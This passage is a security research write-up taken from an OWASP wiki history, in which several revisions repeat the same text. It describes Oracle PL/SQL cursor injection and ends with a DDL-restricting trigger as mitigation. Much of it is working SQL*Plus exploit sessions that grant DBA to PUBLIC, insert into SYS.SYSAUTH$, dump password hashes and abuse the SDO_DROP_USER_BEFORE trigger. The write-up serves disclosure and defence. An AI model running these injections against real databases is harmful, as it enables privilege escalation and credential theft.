DBMS_SQL.EXECUTE when we inject it into the DROP USER statement: <br />
<br />
SQL> DROP USER "'||CHR(DBMS_SQL.EXECUTE(3))||'"; <br />
EXECUTING FROM SDO_DROP_USER_BEFORE!!! <br />
DROP USER "'||CHR(DBMS_SQL.EXECUTE(3))||'" <br />
* <br />
ERROR at line 1: <br />
ORA-01918: user ''||CHR(DBMS_SQL.EXECUTE(3))||'' does not exist <br />
<br />
Note we see our SQL is executing as expected - we can tell from the "EXECUTING <br />
FROM SDO_DROP_USER_BEFORE!!!" message we output using <br />
DBMS_OUTPUT.PUT_LINE. By now the WHOPPEE trigger should have been created <br />
on the SYSTEM.OL$ table. Let's now do the INSERT to fire the trigger: <br />
<br />
SQL> INSERT INTO SYSTEM.OL$ (OL_NAME) VALUES ('OWNED!'); <br />
In the trigger <br />
<br />
1 row created. <br />
<br />
With the trigger having fired, PUBLIC should now have DBA privileges and we should <br />
be able to set the role: <br />
<br />
SQL> SET ROLE DBA; <br />
<br />
Role set. <br />
<br />
And thus the SDO_DROP_USER_BEFORE trigger vulnerability can be exploited by a <br />
user that does not have the CREATE PROCEDURE privilege. <br />
<br />
==Risk Mitigation==<br />
<br />
What can be done to help prevent this being used as an attack method? Revoking the <br />
PUBLIC execute permission from DBMS_SQL, whilst it is an option, is not advised. <br />
There are around 170 objects that depend on DBMS_SQL and revoking the PUBLIC <br />
execute permission could invalidate a large number of these dependencies. One useable <br />
possibility is to limit who can do what in terms of DDL using a trigger. Assuming the <br />
only users on a particular database server that should be executing GRANT, CREATE or <br />
ALTER are "SYS", "JIM" and "JANE" then the following trigger could be created: <br />
<br />
CREATE OR REPLACE TRIGGER PREVENT_DDL BEFORE DDL ON DATABASE <br />
DECLARE <br />
V_USER VARCHAR(30); <br />
BEGIN <br />
V_USER := SYS_CONTEXT('USERENV','SESSION_USER'); <br />
<br />
IF V_USER != 'SYS' AND V_USER != 'JIM' AND V_USER !='JANE' THEN <br />
RAISE_APPLICATION_ERROR(-20002,'USER ' || V_USER || ' MAY NOT EXECUTE DDL'); <br />
END IF; <br />
END; <br />
/ <br />
<br />
If we now retry the attack the trigger will prevent us: <br />
SQL> CONNECT CSESS/PASSWORD <br />
Connected. <br />
SQL> SET SERVEROUTPUT ON <br />
SQL> DECLARE <br />
2 MY_CURSOR NUMBER; <br />
3 RESULT NUMBER; <br />
4 BEGIN <br />
5 MY_CURSOR := DBMS_SQL.OPEN_CURSOR; <br />
6 DBMS_SQL.PARSE(MY_CURSOR,'declare pragma autonomous_transaction; begin execute immediate ''create or replace function csess_func (p varchar2) return number authid current_user is begin execute immediate p; return 1; end;''; commit; end;',0); 7 DBMS_OUTPUT.PUT_LINE('Cursor value is :' || MY_CURSOR); <br />
8 END; <br />
9 / <br />
Cursor value is :4 <br />
<br />
PL/SQL procedure successfully completed. <br />
<br />
SQL> EXEC SYS.GET_OWNER('AAAA''||CHR(DBMS_SQL.EXECUTE(4))--'); <br />
BEGIN SYS.GET_OWNER('AAAA''||CHR(DBMS_SQL.EXECUTE(4))--'); END; <br />
<br />
* <br />
ERROR at line 1: <br />
ORA-20002: USER CSESS MAY NOT EXECUTE DDL <br />
ORA-06512: at line 7 <br />
ORA-06512: at line 1 <br />
ORA-06512: at "SYS.DBMS_SYS_SQL", line 1200 <br />
ORA-06512: at "SYS.DBMS_SQL", line 323 <br />
ORA-06512: at "SYS.GET_OWNER", line 7 <br />
ORA-06512: at line 1 <br />
<br />
<br />
If we try to disable the trigger we get the same error. If we attempt to grant CSESS the <br />
ADMINISTER DATABASE TRIGGER we get the same error. Indeed, any attempt by <br />
someone other than SYS, JIM or JANE to execute GRANT, REVOKE, ALTER or <br />
CREATE ends up with it being blocked by the trigger. This method appears to be <br />
effective as a preventative measure.<br />
==Resources== <br />
* [1] [http://www.databasesecurity.com/dbsec/cursor-injection.pdf David Litchfield's original paper on Cursor Injection, February 2007]<br />
<br />
[[Category:OWASP Oracle Project]]<br />
[[Category:Development]]<br />
[[Category:PL/SQL]]</div>Mjk303https://wiki.owasp.org/index.php?title=PL/SQL:Cursor_Injection&diff=46410PL/SQL:Cursor Injection2008-11-14T15:45:43Z<p>Mjk303: </p>
<hr />
<div>==Status==<br />
WIP 14/11/2008, the material is provided by David Litchfield, this needs to be rewritten to the OWASP standard (introduction, vunerabilty, attack and countermeasure)<br />
Also the markup for the code examples is wrong.<br />
<br />
==Introduction==<br />
<br />
On occasion Oracle in their alerts state that the ability to create a procedure or a function <br />
is required for an attacker to be able to exploit a flaw. For example, DB02 in the October <br />
2006 Critical Patch Update was for a vulnerability in the SDO_DROP_USER_BEFORE <br />
trigger. In the Risk Matrix section of the alert it states that an attacker must have the <br />
CREATE PROCEDURE privilege to exploit the flaw. As we will see this is not the case. <br />
This paper describes a new method whereby an attacker, seeking to exploit a SQL <br />
injection flaw in an Oracle database server, may do so without the need to create an <br />
auxiliary inject function in order to execute arbitrary SQL. This is achieved by injecting a <br />
pre-compiled cursor into vulnerable PL/SQL objects. The driving force behind this <br />
research is to show that all SQL injection flaws can be fully exploited without any system <br />
privilege other than CREATE SESSION and accordingly the risk should never be <br />
"marked down". <br />
<br />
<br />
The problem for the attacker... <br />
<br />
Consider the following PL/SQL procedure: <br />
<br />
CONNECT / AS SYSDBA <br />
CREATE OR REPLACE PROCEDURE GET_OWNER (P_OBJNM VARCHAR) IS <br />
TYPE C_TYPE IS REF CURSOR; <br />
CV C_TYPE; <br />
BUFFER VARCHAR2(200); <br />
BEGIN <br />
DBMS_OUTPUT.ENABLE(1000000); <br />
OPEN CV FOR 'SELECT OWNER FROM ALL_OBJECTS <br />
WHERE OBJECT_NAME = ''' || P_OBJNM ||''''; <br />
LOOP <br />
FETCH CV INTO BUFFER; <br />
DBMS_OUTPUT.PUT_LINE(BUFFER); <br />
EXIT WHEN CV%NOTFOUND; <br />
END LOOP; <br />
CLOSE CV; <br />
END; <br />
/ <br />
GRANT EXECUTE ON GET_OWNER TO PUBLIC; <br />
<br />
It is vulnerable to SQL injection. The P_OBJNM parameter is embedded within a <br />
SELECT query which is then executed. Due to the fact that Oracle won't batch queries, <br />
for example like Microsoft SQL Server, the attacker is limited in terms of what they <br />
could do when it comes to exploiting the flaw. One thing the attacker could do is perform <br />
a UNION SELECT to gain access to arbitrary data: <br />
<br />
SQL> CONNECT SCOTT/PASSWORD <br />
Connected. <br />
SQL> SET SERVEROUTPUT ON <br />
SQL> EXEC SYS.GET_OWNER('AAAA'' UNION SELECT PASSWORD FROM SYS.DBA_USERS <br />
-- '); <br />
16B58553D83807DF 1718E5DBB8F89784 <br />
24ABAB8B06281B4C <br />
... <br />
... <br />
<br />
What if they wanted to do more than just this, though, and perform a DDL or DML <br />
operation? In Oracle, the attacker could not simply inject a "GRANT DBA TO PUBLIC" <br />
or an "INSERT something into some table" statement after the application defined <br />
SELECT statement. In order to achieve this, they'd need to wrap their arbitrary SQL in a <br />
function and inject this: <br />
<br />
SQL> CREATE OR REPLACE FUNCTION GET_DBA RETURN VARCHAR AUTHID <br />
CURRENT_USER IS <br />
2 PRAGMA AUTONOMOUS_TRANSACTION; <br />
3 BEGIN <br />
4 EXECUTE IMMEDIATE 'GRANT DBA TO PUBLIC'; <br />
5 RETURN 'GOT_DBA_PRIVS'; <br />
6 END; <br />
7 / <br />
<br />
Function created. <br />
<br />
SQL> EXEC SYS.GET_OWNER('AAAA''||SCOTT.GET_DBA--'); <br />
<br />
PL/SQL procedure successfully completed. <br />
<br />
SQL> SET ROLE DBA; <br />
<br />
Role set. <br />
<br />
Here, SCOTT has created a function called GET_DBA and this is then injected into the <br />
application defined SELECT query using the concatenation operator - the double pipe. <br />
As part of executing the SELECT query the database server also executes the GET_DBA <br />
function with SYS privileges and the GRANT succeeds. This GET_DBA function is an <br />
auxiliary inject function and it performs the real work of the exploit. If an attacker can't <br />
create their own functions then they must find a function that already exists on the system <br />
- a function that allows them to execute arbitrary SQL. Prior to April 2006, when the flaw <br />
was patched, the GET_DOMAIN_INDEX_TABLES function on the SYS owned <br />
DBMS_EXPORT_EXTENSION package could be used: <br />
<br />
SQL> <br />
SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTP<br />
UT".PUT(:P1); EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION; <br />
BEGIN EXECUTE IMMEDIATE ''''GRANT DBA TO PUBLIC''''; END;''; END;--<br />
','SYS',0,'1',0) <br />
<br />
This package was vulnerable to SQL injection and attacker supplied arguments were <br />
embedded into a block of anonymous PL/SQL. As PUBLIC could directly execute this <br />
package they could execute arbitrary SQL using this function alone - there was no need <br />
to inject it into another vulnerable package. As already stated, this has since been fixed. <br />
<br />
There are two other functions that can be used as auxiliary inject functions, however, they can only be used as such due to a flaw. One is vulnerable to a cursor snarfing issue [see <br />
http://www.databasesecurity.com/dbsec/cursor-snarfing.pdf] that can be exploited to run <br />
arbitrary SQL as SYS and the other is vulnerable to a SQL injection flaw into an <br />
anonymous PL/SQL block, again allowing an attacker to execute arbitrary SQL as SYS. <br />
Both are currently being fixed by Oracle and until the patch is out they will remain <br />
"nameless". <br />
<br />
Each of the three known extant functions that can be used as auxiliaries contain a <br />
vulnerability of some sort and will all be patched at some stage making their "usefulness" <br />
time limited. There is what could be argued as a fourth function that can be abused by an <br />
attacker to execute arbitrary SQL and it doesn't rely on a vulnerability. I say "could be <br />
argued" because it's not as straight forward as simply injecting the function - it needs to <br />
be primed first. What follows is a description of the new method: it is simple multi-stage <br />
attack (so simple in fact I should have thought of it years ago!) and it works on all <br />
versions of Oracle and can be exploited by an attacker to run any SQL - provided of <br />
course there is a vector - i.e. a PL/SQL package, procedure, function, trigger or type <br />
which is vulnerable to SQL injection. <br />
<br />
<br />
==The DBMS_SQL package== <br />
<br />
The DBMS_SQL package contains a number of procedures and functions that can be <br />
used to execute dynamic SQL queries: <br />
<br />
SQL> CONNECT SCOTT/PASSWORD <br />
Connected. <br />
SQL> DECLARE <br />
2 MY_CURSOR NUMBER; <br />
3 RESULT NUMBER; <br />
4 BEGIN <br />
5 MY_CURSOR := DBMS_SQL.OPEN_CURSOR; <br />
6 DBMS_SQL.PARSE(MY_CURSOR,'SELECT 1 FROM DUAL',0); <br />
7 RESULT := DBMS_SQL.EXECUTE(MY_CURSOR); <br />
8 DBMS_SQL.CLOSE_CURSOR(MY_CURSOR); <br />
9 END; <br />
10 / <br />
<br />
PL/SQL procedure successfully completed. <br />
<br />
Here, we create a cursor called "MY_CURSOR" using the <br />
DBMS_SQL.OPEN_CURSOR function. We then tie this cursor to a query, in this case <br />
"SELECT 1 FROM DUAL", by using the DBMS_SQL.PARSE procedure. By doing this, <br />
the cursor becomes like a handle to this query which is then executed using the <br />
DBMS_SQL.EXECUTE function. Lastly the cursor is closed. All an attacker need do to <br />
execute arbitrary SQL in open a cursor and parse the SQL and then inject the <br />
DBMS_SQL.EXECUTE function into the vulnerable PL/SQL object: <br />
<br />
SQL> CONNECT SCOTT/PASSWORD <br />
Connected. <br />
SQL> SET SERVEROUTPUT ON SQL> DECLARE <br />
2 MY_CURSOR NUMBER; <br />
3 RESULT NUMBER; <br />
4 BEGIN <br />
5 MY_CURSOR := DBMS_SQL.OPEN_CURSOR; <br />
6 DBMS_SQL.PARSE(MY_CURSOR,'declare pragma autonomous_transaction; <br />
begin execute immediate ''grant dba to public''; commit; end;',0); <br />
7 DBMS_OUTPUT.PUT_LINE('Cursor value is :' || MY_CURSOR); <br />
8 END; <br />
9 / <br />
Cursor value is :4 <br />
<br />
PL/SQL procedure successfully completed. <br />
<br />
SQL> EXEC SYS.GET_OWNER('AAAA''||CHR(DBMS_SQL.EXECUTE(4))--'); <br />
<br />
PL/SQL procedure successfully completed. <br />
<br />
SQL> SET ROLE DBA; <br />
<br />
Role set. <br />
<br />
Firstly, we open the cursor and then parse our query - one that'll grant DBA privileges to <br />
PUBLIC. We then print the value of the cursor to the screen - 4 in this case. We then pass <br />
4 as the argument to the DBMS_SQL.EXECUTE function when we inject it into the <br />
vulnerable procedure. The DBMS_SQL.EXECUTE function returns a number so we use <br />
the CHR function to convert the number to a character - which can then be concatenated. <br />
When the application defined SELECT query executes so too does the <br />
DBMS_SQL.EXECUTE function - and so the attacker's SQL is executed with SYS <br />
privileges - in this case granting DBA privileges to PUBLIC. <br />
<br />
==Only Half-primed...== <br />
<br />
Assume, rather than execute 'GRANT DBA TO PUBLIC', which might alert an intrusion <br />
detection/prevention system, the attacker wishes to perform an INSERT to achieve the <br />
same end, in other words, INSERT the relevant rows into the SYS.SYSAUTH$ table to <br />
make PUBLIC a DBA. At this stage, this new attack technique can not be used to do this. <br />
An error is returned from DBMS_SQL: table or view does not exist: <br />
<br />
SQL> SET SERVEROUTPUT ON <br />
SQL> DECLARE <br />
2 MY_CURSOR NUMBER; <br />
3 RESULT NUMBER; <br />
4 BEGIN <br />
5 MY_CURSOR := DBMS_SQL.OPEN_CURSOR; <br />
6 DBMS_SQL.PARSE(MY_CURSOR,'declare pragma autonomous_transaction; <br />
begin execute immediate ''INSERT INTO SYS.SYSAUTH$ (GRANTEE#, <br />
PRIVILEGE#, SEQUENCE#) VALUES (1,4,(SELECT MAX(SEQUENCE#)+1 FROM <br />
SYS.SYSAUTH$))''; commit; end;',0); <br />
7 DBMS_OUTPUT.PUT_LINE('Cursor value is :' || MY_CURSOR); <br />
8 END; <br />
9 / <br />
Cursor value is :4 <br />
PL/SQL procedure successfully completed. <br />
<br />
SQL> EXEC SYS.GET_OWNER('AAAA''||CHR(DBMS_SQL.EXECUTE(4))--'); <br />
BEGIN SYS.GET_OWNER('AAAA''||CHR(DBMS_SQL.EXECUTE(4))--'); END; <br />
<br />
* <br />
ERROR at line 1: <br />
ORA-00942: table or view does not exist <br />
ORA-06512: at line 1 <br />
ORA-06512: at "SYS.DBMS_SYS_SQL", line 1200 <br />
ORA-06512: at "SYS.DBMS_SQL", line 323 <br />
ORA-06512: at "SYS.GET_OWNER", line 7 <br />
ORA-06512: at line 1 <br />
<br />
The query here attempts to INSERT into the SYS.SYSAUTH$ table to make PUBLIC a <br />
DBA - but as can be seen - an error is generated. Whilst we can't use this to do an <br />
INSERT we've already seen we can grant DBA privileges and another action an attacker <br />
can take using this method is to create a function - even though they don't have the <br />
permissions to do so directly. Let's create a user with only the CREATE SESSION <br />
privilege and no more: <br />
<br />
SQL> CONNECT / AS SYSDBA <br />
Connected. <br />
SQL> CREATE USER CSESS IDENTIFIED BY PASSWORD; <br />
<br />
User created. <br />
<br />
SQL> GRANT CREATE SESSION TO CSESS; <br />
<br />
Grant succeeded. <br />
<br />
SQL> CONNECT CSESS/PASSWORD <br />
Connected. <br />
SQL> SELECT PRIVILEGE FROM SESSION_PRIVS; <br />
<br />
PRIVILEGE <br />
---------------------------------------- <br />
CREATE SESSION <br />
<br />
SQL> <br />
<br />
Now with our test user, CSESS, in place let's go ahead, connect as them and create a <br />
function even though we only have the CREATE SESSION privilege: <br />
<br />
SQL> CONNECT CSESS/PASSWORD <br />
Connected. <br />
SQL> SET SERVEROUTPUT ON <br />
SQL> DECLARE <br />
2 MY_CURSOR NUMBER; <br />
3 RESULT NUMBER; <br />
4 BEGIN <br />
5 MY_CURSOR := DBMS_SQL.OPEN_CURSOR; <br />
6 DBMS_SQL.PARSE(MY_CURSOR,'declare pragma autonomous_transaction; <br />
begin execute immediate ''create or replace function csess_func (p varchar2) return number authid current_user is begin execute immediate <br />
p; return 1; end;''; commit; end;',0); <br />
7 DBMS_OUTPUT.PUT_LINE('Cursor value is :' || MY_CURSOR); <br />
8 END; <br />
9 / <br />
Cursor value is :4 <br />
<br />
PL/SQL procedure successfully completed. <br />
<br />
SQL> EXEC SYS.GET_OWNER('AAAA''||CHR(DBMS_SQL.EXECUTE(4))--'); <br />
<br />
PL/SQL procedure successfully completed. <br />
<br />
Here we attempt to create a function call CSESS_FUNC. Now see if the function was <br />
actually created: <br />
<br />
SQL> SELECT CSESS_FUNC('SELECT 1 FROM DUAL') FROM DUAL; <br />
<br />
CSESS_FUNC('SELECT1FROMDUAL') <br />
----------------------------- <br />
1 <br />
<br />
SQL> <br />
<br />
All looks good. Now we can use this function to do whatever we want: <br />
<br />
SQL> CONNECT CSESS/PASSWORD <br />
Connected. <br />
SQL> SET ROLE DBA; <br />
SET ROLE DBA <br />
* <br />
ERROR at line 1: <br />
ORA-01924: role 'DBA' not granted or does not exist <br />
<br />
SQL> EXEC SYS.GET_OWNER('AAAA''||CHR(CSESS.CSESS_FUNC(''declare pragma <br />
autonomous_transaction; begin execute immediate ''''INSERT INTO <br />
SYS.SYSAUTH$ (GRANTEE#, PRIVILEGE#, SEQUENCE#) VALUES (1,4,(SELECT <br />
MAX(SEQUENCE#)+1 FROM SYS.SYSAUTH$))''''; commit; end;''))--'); <br />
<br />
PL/SQL procedure successfully completed. <br />
<br />
SQL> SET ROLE DBA; <br />
<br />
Role set. <br />
<br />
Note that, on some systems, such as 10g Release 2 a "unique constraint" error might be <br />
generated but the INSERT does succeed: <br />
<br />
SQL> CONNECT CSESS/PASSWORD <br />
Connected. <br />
SQL> SET ROLE DBA; <br />
SET ROLE DBA <br />
* <br />
ERROR at line 1: <br />
ORA-01924: role 'DBA' not granted or does not exist <br />
SQL> EXEC SYS.GET_OWNER('AAAA''||CHR(CSESS.CSESS_FUNC(''declare pragma <br />
autonomous_transaction; begin execute immediate ''''INSERT INTO <br />
SYS.SYSAUTH$ (GRANTEE#, PRIVILEGE#, SEQUENCE#) VALUES (1,4,(SELECT <br />
MAX(SEQUENCE#)+1 FROM SYS.SYSAUTH$))''''; commit; end;''))--'); <br />
BEGIN SYS.GET_OWNER('AAAA''||CHR(CSESS.CSESS_FUNC(''declare pragma <br />
autonomous_transaction; begin execute immediate ''''INSERT INTO <br />
SYS.SYSAUTH$ (GRANTEE#,PRIVILEGE#, SEQUENCE#) VALUES (1,4,(SELECT <br />
MAX(SEQUENCE#)+1 FROM SYS.SYSAUTH$))''''; commit; end;''))--'); END; <br />
<br />
* <br />
ERROR at line 1: <br />
ORA-00001: unique constraint (SYS.I_SYSAUTH1) violated <br />
ORA-06512: at line 1 <br />
ORA-06512: at "CSESS.CSESS_FUNC", line 1 <br />
ORA-06512: at "SYS.GET_OWNER", line 7 <br />
ORA-06512: at line 1 <br />
<br />
SQL> SET ROLE DBA; <br />
<br />
Role set. <br />
<br />
So, by injecting DBMS_SQL.EXECUTE as an auxiliary function with "limited" scope, an attacker can <br />
create their own auxiliary inject function to then do whatever they want. <br />
<br />
<br />
==Exploiting the SDO_DROP_USER_BEFORE trigger==<br />
<br />
In the introduction I mentioned the SDO_DROP_USER_BEFORE trigger. In 10g <br />
Release 2 and before October 2006, when the flaw was patched, this trigger owned by <br />
MDSYS was vulnerable to SQL injection. At the time it was believed that this was only <br />
exploitable if the attacker had the CREATE PROCEDURE (and therefore FUNCTION) <br />
privilege [see DB02 entry in http://www.oracle.com/technology/deploy/security/critical-<br />
patch-updates/cpuoct2006.html#AppendixA] <br />
<br />
The problem lay in the fact that the name of the user being dropped was embedded within <br />
a block of anonymous PL/SQL: <br />
<br />
... <br />
... <br />
EXECUTE IMMEDIATE <br />
'begin ' || <br />
'mdsys.rdf_apis_internal.' || <br />
'notify_drop_user(''' || dictionary_obj_name || '''); ' || <br />
'end;'; <br />
... <br />
... <br />
<br />
This is the vulnerable code from the trigger. Here, "dictionary_obj_name" is the name of <br />
the user being dropped and, as this "user" could be arbitrary, it was possible for an <br />
attacker to inject 30 bytes of arbitrary SQL. In terms of exploiting this to gain DBA <br />
privileges an attacker needs to jump through some hoops but it can be done. MDSYS is <br />
not a DBA so the attacker must rely on an indirect privilege upgrade attack and, indeed, an attack is possible via MDSYS having the CREATE ANY TRIGGER system privilege. <br />
By leveraging this privilege during a SQL injection attack, the attacker can create an <br />
auxiliary trigger in the SYSTEM schema. This auxiliary trigger will carry out the work of <br />
gaining the attacker DBA privileges. Firstly, the attacker needs the name of a table into <br />
which PUBLIC can insert - there are a few - SYSTEM.OL$ will be the choice. A <br />
"BEFORE INSERT" trigger will be created on this table; this trigger will execute the <br />
GRANT DBA TO PUBLIC when an INSERT is performed. Let's step through attack <br />
from start to finish. CSESS has only the CREATE SESSION privilege and cannot set the <br />
DBA role: <br />
<br />
<br />
SQL> CONNECT CSESS/PASSWORD <br />
Connected. <br />
SQL> SET SERVEROUTPUT ON <br />
SQL> SELECT PRIVILEGE FROM SESSION_PRIVS; <br />
<br />
PRIVILEGE <br />
---------------------------------------- <br />
CREATE SESSION <br />
<br />
SQL> SET ROLE DBA; <br />
SET ROLE DBA <br />
* <br />
ERROR at line 1: <br />
ORA-01924: role 'DBA' not granted or does not exist <br />
<br />
Once logged in CSESS then creates a cursor and primes it with a query that will create <br />
the trigger on the SYSTEM.OL$ table - we also use DBMS_OUTPUT to show us that <br />
our SQL is executing as expected: <br />
<br />
SQL> DECLARE <br />
2 MY_CURSOR NUMBER; <br />
3 RESULT NUMBER; <br />
4 BEGIN <br />
5 MY_CURSOR := DBMS_SQL.OPEN_CURSOR; <br />
6 DBMS_SQL.PARSE(MY_CURSOR,'declare pragma autonomous_transaction; <br />
begin DBMS_OUTPUT.PUT_LINE(''EXECUTING FROM SDO_DROP_USER_BEFORE!!!''); <br />
execute immediate ''create or replace trigger system.WHOPPEE before <br />
insert on system.OL$ DECLARE msg VARCHAR2(30); BEGIN null; <br />
dbms_output.put_line(''''In the trigger''''); EXECUTE IMMEDIATE <br />
''''DECLARE PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE <br />
''''''''GRANT DBA TO PUBLIC''''''''; END; ''''; end WHOPPEE;''; commit; <br />
end;',0); <br />
7 DBMS_OUTPUT.PUT_LINE('Cursor value is :' || MY_CURSOR); <br />
8 END; <br />
9 / <br />
Cursor value is :3 <br />
<br />
PL/SQL procedure successfully completed. <br />
<br />
With this done we can see the value of the cursor is 3. We'll pass this as the argument to <br />
DBMS_SQL.EXECUTE when we inject it into the DROP USER statement: <br />
<br />
SQL> DROP USER "'||CHR(DBMS_SQL.EXECUTE(3))||'"; <br />
EXECUTING FROM SDO_DROP_USER_BEFORE!!! <br />
DROP USER "'||CHR(DBMS_SQL.EXECUTE(3))||'" <br />
* <br />
ERROR at line 1: <br />
ORA-01918: user ''||CHR(DBMS_SQL.EXECUTE(3))||'' does not exist <br />
<br />
Note we see our SQL is executing as expected - we can tell from the "EXECUTING <br />
FROM SDO_DROP_USER_BEFORE!!!" message we output using <br />
DBMS_OUTPUT.PUT_LINE. By now the WHOPPEE trigger should have been created <br />
on the SYSTEM.OL$ table. Let's now do the INSERT to fire the trigger: <br />
<br />
SQL> INSERT INTO SYSTEM.OL$ (OL_NAME) VALUES ('OWNED!'); <br />
In the trigger <br />
<br />
1 row created. <br />
<br />
With the trigger having fired, PUBLIC should now have DBA privileges and we should <br />
be able to set the role: <br />
<br />
SQL> SET ROLE DBA; <br />
<br />
Role set. <br />
<br />
And thus the SDO_DROP_USER_BEFORE trigger vulnerability can be exploited by a <br />
user that does not have the CREATE PROCEDURE privilege. <br />
<br />
==Risk Mitigation==<br />
<br />
What can be done to help prevent this being used as an attack method? Revoking the <br />
PUBLIC execute permission from DBMS_SQL, whilst it is an option, is not advised. <br />
There are around 170 objects that depend on DBMS_SQL and revoking the PUBLIC <br />
execute permission could invalidate a large number of these dependencies. One useable <br />
possibility is to limit who can do what in terms of DDL using a trigger. Assuming the <br />
only users on a particular database server that should be executing GRANT, CREATE or <br />
ALTER are "SYS", "JIM" and "JANE" then the following trigger could be created: <br />
<br />
CREATE OR REPLACE TRIGGER PREVENT_DDL BEFORE DDL ON DATABASE <br />
DECLARE <br />
V_USER VARCHAR(30); <br />
BEGIN <br />
V_USER := SYS_CONTEXT('USERENV','SESSION_USER'); <br />
<br />
IF V_USER != 'SYS' AND V_USER != 'JIM' AND V_USER !='JANE' THEN <br />
RAISE_APPLICATION_ERROR(-20002,'USER ' || V_USER || ' MAY <br />
NOT EXECUTE DDL'); <br />
END IF; <br />
END; <br />
/ <br />
<br />
If we now retry the attack the trigger will prevent us: <br />
SQL> CONNECT CSESS/PASSWORD <br />
Connected. <br />
SQL> SET SERVEROUTPUT ON <br />
SQL> DECLARE <br />
2 MY_CURSOR NUMBER; <br />
3 RESULT NUMBER; <br />
4 BEGIN <br />
5 MY_CURSOR := DBMS_SQL.OPEN_CURSOR; <br />
6 DBMS_SQL.PARSE(MY_CURSOR,'declare pragma autonomous_transaction; <br />
begin execute immediate ''create or replace function csess_func (p <br />
varchar2) return number authid current_user is begin execute immediate <br />
p; return 1; end;''; commit; end;',0); <br />
7 DBMS_OUTPUT.PUT_LINE('Cursor value is :' || MY_CURSOR); <br />
8 END; <br />
9 / <br />
Cursor value is :4 <br />
<br />
PL/SQL procedure successfully completed. <br />
<br />
SQL> EXEC SYS.GET_OWNER('AAAA''||CHR(DBMS_SQL.EXECUTE(4))--'); <br />
BEGIN SYS.GET_OWNER('AAAA''||CHR(DBMS_SQL.EXECUTE(4))--'); END; <br />
<br />
* <br />
ERROR at line 1: <br />
ORA-20002: USER CSESS MAY NOT EXECUTE DDL <br />
ORA-06512: at line 7 <br />
ORA-06512: at line 1 <br />
ORA-06512: at "SYS.DBMS_SYS_SQL", line 1200 <br />
ORA-06512: at "SYS.DBMS_SQL", line 323 <br />
ORA-06512: at "SYS.GET_OWNER", line 7 <br />
ORA-06512: at line 1 <br />
<br />
<br />
If we try to disable the trigger we get the same error. If we attempt to grant CSESS the <br />
ADMINISTER DATABASE TRIGGER we get the same error. Indeed, any attempt by <br />
someone other than SYS, JIM or JANE to execute GRANT, REVOKE, ALTER or <br />
CREATE ends up with it being blocked by the trigger. This method appears to be <br />
effective as a preventative measure.<br />
==Resources== <br />
* [1] [http://www.oracle.com/technology/tech/pl_sql/pdf/how_to_write_injection_proof_plsql.pdf Oracle's own paper on how to prevent SQL injection in PL/SQL, October 2008]<br />
<br />
[[Category:OWASP Oracle Project]]<br />
[[Category:Development]]<br />
[[Category:PL/SQL]]</div>Mjk303https://wiki.owasp.org/index.php?title=PL/SQL:Cursor_Injection&diff=46409PL/SQL:Cursor Injection2008-11-14T15:41:48Z<p>Mjk303: New page: ==Status== WIP 14/11/2008 ==Introduction== On occasion Oracle in their alerts state that the ability to create a procedure or a function is required for an attacker to be able to explo...</p>
<hr />
<div>==Status==<br />
WIP 14/11/2008<br />
<br />
==Introduction==<br />
<br />
On occasion Oracle in their alerts state that the ability to create a procedure or a function <br />
is required for an attacker to be able to exploit a flaw. For example, DB02 in the October <br />
2006 Critical Patch Update was for a vulnerability in the SDO_DROP_USER_BEFORE <br />
trigger. In the Risk Matrix section of the alert it states that an attacker must have the <br />
CREATE PROCEDURE privilege to exploit the flaw. As we will see this is not the case. <br />
This paper describes a new method whereby an attacker, seeking to exploit a SQL <br />
injection flaw in an Oracle database server, may do so without the need to create an <br />
auxiliary inject function in order to execute arbitrary SQL. This is achieved by injecting a <br />
pre-compiled cursor into vulnerable PL/SQL objects. The driving force behind this <br />
research is to show that all SQL injection flaws can be fully exploited without any system <br />
privilege other than CREATE SESSION and accordingly the risk should never be <br />
"marked down". <br />
<br />
<br />
The problem for the attacker... <br />
<br />
Consider the following PL/SQL procedure: <br />
<br />
CONNECT / AS SYSDBA <br />
CREATE OR REPLACE PROCEDURE GET_OWNER (P_OBJNM VARCHAR) IS <br />
TYPE C_TYPE IS REF CURSOR; <br />
CV C_TYPE; <br />
BUFFER VARCHAR2(200); <br />
BEGIN <br />
DBMS_OUTPUT.ENABLE(1000000); <br />
OPEN CV FOR 'SELECT OWNER FROM ALL_OBJECTS <br />
WHERE OBJECT_NAME = ''' || P_OBJNM ||''''; <br />
LOOP <br />
FETCH CV INTO BUFFER; <br />
DBMS_OUTPUT.PUT_LINE(BUFFER); <br />
EXIT WHEN CV%NOTFOUND; <br />
END LOOP; <br />
CLOSE CV; <br />
END; <br />
/ <br />
GRANT EXECUTE ON GET_OWNER TO PUBLIC; <br />
<br />
It is vulnerable to SQL injection. The P_OBJNM parameter is embedded within a <br />
SELECT query which is then executed. Due to the fact that Oracle won't batch queries, <br />
for example like Microsoft SQL Server, the attacker is limited in terms of what they <br />
could do when it comes to exploiting the flaw. One thing the attacker could do is perform <br />
a UNION SELECT to gain access to arbitrary data: <br />
<br />
SQL> CONNECT SCOTT/PASSWORD <br />
Connected. <br />
SQL> SET SERVEROUTPUT ON <br />
SQL> EXEC SYS.GET_OWNER('AAAA'' UNION SELECT PASSWORD FROM SYS.DBA_USERS <br />
-- '); <br />
16B58553D83807DF 1718E5DBB8F89784 <br />
24ABAB8B06281B4C <br />
... <br />
... <br />
<br />
What if they wanted to do more than just this, though, and perform a DDL or DML <br />
operation? In Oracle, the attacker could not simply inject a "GRANT DBA TO PUBLIC" <br />
or an "INSERT something into some table" statement after the application defined <br />
SELECT statement. In order to achieve this, they'd need to wrap their arbitrary SQL in a <br />
function and inject this: <br />
<br />
SQL> CREATE OR REPLACE FUNCTION GET_DBA RETURN VARCHAR AUTHID <br />
CURRENT_USER IS <br />
2 PRAGMA AUTONOMOUS_TRANSACTION; <br />
3 BEGIN <br />
4 EXECUTE IMMEDIATE 'GRANT DBA TO PUBLIC'; <br />
5 RETURN 'GOT_DBA_PRIVS'; <br />
6 END; <br />
7 / <br />
<br />
Function created. <br />
<br />
SQL> EXEC SYS.GET_OWNER('AAAA''||SCOTT.GET_DBA--'); <br />
<br />
PL/SQL procedure successfully completed. <br />
<br />
SQL> SET ROLE DBA; <br />
<br />
Role set. <br />
<br />
Here, SCOTT has created a function called GET_DBA and this is then injected into the <br />
application defined SELECT query using the concatenation operator - the double pipe. <br />
